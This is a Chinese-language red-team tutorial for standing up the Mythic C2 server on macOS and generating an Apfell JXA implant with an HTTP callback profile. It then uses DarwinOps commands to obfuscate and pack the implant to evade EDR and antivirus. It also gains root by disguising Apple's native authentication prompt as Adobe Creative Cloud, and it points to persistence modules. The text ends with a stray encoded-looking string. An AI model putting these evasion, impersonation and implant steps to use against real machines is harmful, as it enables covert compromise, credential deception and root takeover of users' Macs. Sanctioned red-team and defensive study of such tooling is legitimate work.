本文将探讨如何在macOS上设置Mythic C2及其Apfell攻击载荷。我们将使用BallisKit DarwinOps对该载荷进行武装化以绕过EDR。我们还将演示如何使用权限提升模块获取Root访问权限。
1. 验证依赖项
在开始之前,请确保您拥有构建mythic-cli所需的所有依赖项:
apt install make -y
apt install git -y
2. 从GitHub下载Mythic
从GitHub克隆Mythic仓库并进入该目录:
sudo git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
3. 安装Docker和Docker Compose
Mythic需要Docker和Docker Compose来运行其服务。使用以下脚本之一安装Docker:
- Debian:
./install_docker_debian.sh - Kali Linux:
./install_docker_kali.sh - Ubuntu:
./install_docker_ubuntu.sh
4. 构建Mythic-CLI
构建mythic-cli:
make
如果一切顺利,您应该会有一个可用的./mythic-cli文件。
5. 启动Mythic
现在脚本已执行,Mythic已准备好启动:
./mythic-cli start
提示: 某些容器可能需要时间初始化并与其他服务通信。最初看到错误消息是常见的;重要的是所有容器都已启动,如下所示:
(此处为容器启动图片描述)
6. 配置
所有配置都可以通过.env文件或使用以下命令完成:
./mythic-cli config
如果C2服务器需要远程访问,您必须执行以下命令:
./mythic-cli config set mythic_server_bind_localhost_only false && ./mythic-cli restart
您现在可以从服务器的IP地址访问UI面板。如果无法连接,请确保“BOUND LOCALLY”设置为false。
(此处为服务绑定状态图片描述)
通过以下地址访问Mythic UI:
https://127.0.0.1:7443/new/login
您应该会看到如下登录面板:
(此处为Mythic登录面板图片描述)
- 用户名:
mythic_admin - 密码:密码是自动生成的,可以在
.env文件中找到。或者,使用命令:grep ^MYTHIC_ADMIN_PASSWORD= .env | cut -d '=' -f2
7. 安装Payload和C2Profile
登录后,进入Payloads部分:
(此处为Payloads和C2Profiles界面图片描述)
目前,没有任何安装。让我们安装我们的Payload和通信信道。
-
安装Apfell: 这是用于macOS的Mythic Payload,使用JXA:
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell -
安装HTTP C2Profile: 为了与我们的攻击植入程序通信,安装HTTP C2Profile:
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
您现在应该看到:
(此处为Payload和C2Profiles下载完成图片描述)
8. 生成Apfell Payload
生成Apfell Payload:
(此处为生成新Payload界面图片描述)
- 选择
MacOS(如果Apfell是唯一安装的Payload,则应为默认选项)。 - 选择
Apfell(如果它是唯一安装的Payload,也是默认选项)。 - 添加任何所需的命令(这些不会影响整体过程)。
- 在选择C2 Profiles时,确保包含HTTP:
(此处为添加HTTP C2Profile图片描述)
验证参数是否匹配。默认情况下,它设置为https://和端口80。如果这些不一致,它将无法工作:
(此处为HTTP选项配置图片描述)
输入参数后,您可以下载Payload:
(此处为下载Payload界面图片描述)
9. 使用DarwinOps
现在您已经生成了Payload,防病毒程序可能会标记并删除它。因此,我们需要对其进行武装化。为此,我们将依赖DarwinOps,这是适用于MacOS的红队工具包!
使用以下命令行武装Apfell Payload:
./darwin_ops -G payload.app -i apfell.js --autopack --obfuscate
- 执行生成的Payload:
./in_memory_exec.js
(此处为Payload执行图片描述)
如果您需要更高权限,可以使用权限提升模块将自己伪装成可信应用程序。
./darwin_ops -G privesc.app -i apfell.js --privesc --privesc-delay-execution 10 --privesc-prompt_app_name "Adobe Creative Cloud" --privesc-prompt-app-icon CreativeCloudApp.icns --autopack --obfuscate
(此处为Apple原生提示符被伪装成所选应用程序的图片描述)
被伪装成我们选择的应用的Apple原生提示符,但它将以root权限启动我们的Apfell植入程序。
(此处为Apfell植入程序以root权限运行的图片描述)
如您所见,我们通过植入程序获得了Root访问权限,DarwinOps还允许您通过其他模块添加持久性。FINISHED CSD0tFqvECLokhw9aBeRqgJcKWJF+birK01iJlMQBy8dA/IoUmQ3a8NCV4f4/iDmWdrGlB1A+YwCQcYLk3pbu5V7iJKALOsEBgS+H36NPVXQ5dRIxJeywUbdYhy6nc3+JEcVMdU+0GYoG38+NOoYTQ==